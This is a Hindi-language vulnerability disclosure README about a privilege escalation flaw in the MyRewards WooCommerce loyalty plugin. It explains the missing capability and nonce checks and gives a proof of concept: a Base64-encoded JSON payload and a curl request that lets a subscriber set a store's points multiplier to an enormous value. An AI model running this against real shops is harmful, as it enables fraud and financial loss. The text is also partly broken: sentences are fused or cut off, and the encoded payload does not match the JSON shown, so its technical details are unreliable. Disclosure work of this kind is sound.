
गुम प्राधिकरण / टूटी पहुँच नियंत्रण प्लगइन - MyRewards – लॉयल्टी पॉइंट्स और रिवॉर्ड्स फॉर WooCommerce
अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और नैतिक प्रकटीकरण के लिए बनाई गई है। इस कमजोरी की सूचना जिम्मेदारी से विक्रेता को दी गई है और इसे पैच किया जा चुका है। उचित प्राधिकरण के बिना सिस्टम का शोषण करने के लिए इस जानकारी का उपयोग न करें।
WooCommerce के लिए MyRewards (WooRewards) प्लगइन (संस्करण <= 5.6.0) में एक गंभीर टूटा एक्सेस नियंत्रण / विशेषाधिकार वृद्धि कमजोरी पाई गई है। यह दोष किसी भी लॉग-इन उपयोगकर्ता को, यहां तक कि सब्सक्राइबर जैसे न्यूनतम विशेषाधिकार वाले को, प्राधिकरण को दरकिनार कर संवेदनशील दुकान पुरस्कार नियमों को संशोधित करने की अनुमति देता है।
इस कमजोरी का शोषण करके, एक हमलावर अपने लॉयल्टी पॉइंट्स गुणक को एक खगोलीय मान (जैसे, 999,999,999) तक बढ़ा सकता है, जिससे वे एक छोटी सी खरीद से भारी अंक जमा कर सकते हैं और उन्हें कूपन या मुफ्त उत्पादों के लिए भुना सकते हैं, जिसके परिणामस्वरूप स्टोर को सीधा वित्तीय नुकसान होता है।
<= 5.6.0इस कमजोरी का मूल कारण डेटाबेस संशोधनों को संभालने वाले महत्वपूर्ण AJAX एंडपॉइंट्स पर क्षमता जांच या CSRF सुरक्षा को लागू करने में विफलता है।
1. अनधिकृत AJAX पंजीकरण:
प्लगइन CRUD संचालन प्रबंधित करने के लिए एक सामान्य नियंत्रक वर्ग (EditlistControler) का उपयोग करता है। editlistcontroler.php में, यह wp_ajax_ हुक का उपयोग करके AJAX क्रिया editlist पंजीकृत करता है, जो इसे सभी लॉग-इन उपयोगकर्ताओं के लिए उपलब्ध कराता है, चाहे उनकी भूमिका कुछ भी हो:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. प्राधिकरण और नॉन्स सत्यापन का अभाव:
ajax() और accept() विधियों के अंदर, कोड केवल उपयोगकर्ता इनपुट के आधार पर स्थिति-परिवर्तनशील अनुरोधों (जैसे, अद्यतन के लिए put, हटाने के लिए del) को संसाधित करता है। यह current_user_can() और check_ajax_referer() के कॉल को पूरी तरह से छोड़ देता है, जिसका अर्थ है कि यह सत्यापित नहीं किया जाता कि उपयोगकर्ता के पास manage_woocommerce अधिकार हैं या नहीं।
3. खतरनाक पेलोड प्रसंस्करण:
एंडपॉइंट line पैरामीटर के माध्यम से एक Base64-एन्कोडेड JSON स्ट्रिंग स्वीकार करता है, जिसे डीकोड किया जाता है और सीधे EventList::write() विधि को भेजा जाता है, जो दुर्भावनापूर्ण सेटिंग्स को सीधे डेटाबेस में सहेजता है:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
निम्नलिखित चरण दर्शाते हैं कि एक प्रमाणित सब्सक्राइबर इस दोष का शोषण कैसे कर सकता है।
subscriber स्तर के खाते के लिए मान्य क्रेडेंशियल।101) अनुक्रमिक है और AJAX पोस्ट प्रतिक्रियाओं को देखकर आसानी से गणना योग्य है।हम नियम ID 101 के अंक गुणक को 999,999,999,999,999 में अपडेट करना चाहते हैं।
प्रारंभिक JSON
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Base64 एन्कोडेड ('line' का मान)
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
निम्नलिखित CURL अनुरोध को निम्न-विशेषाधिकार वाले उपयोगकर्ता के रूप में चलाएं:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} लौटाएगा जो अद्यतन की पुष्टि करता है।इस समस्या को ठीक करने के लिए, MyRewards प्लगइन को नवीनतम पैच किए गए संस्करण में अपडेट करें। विक्रेता ने इसे निम्नलिखित तरीके से हल किया:
current_user_can() जांच लागू करना।check_ajax_referer() जोड़ना।नैतिक मानकों का पालन करने को दर्शाने के लिए प्रकटीकरण प्रक्रिया का एक संक्षिप्त लॉग: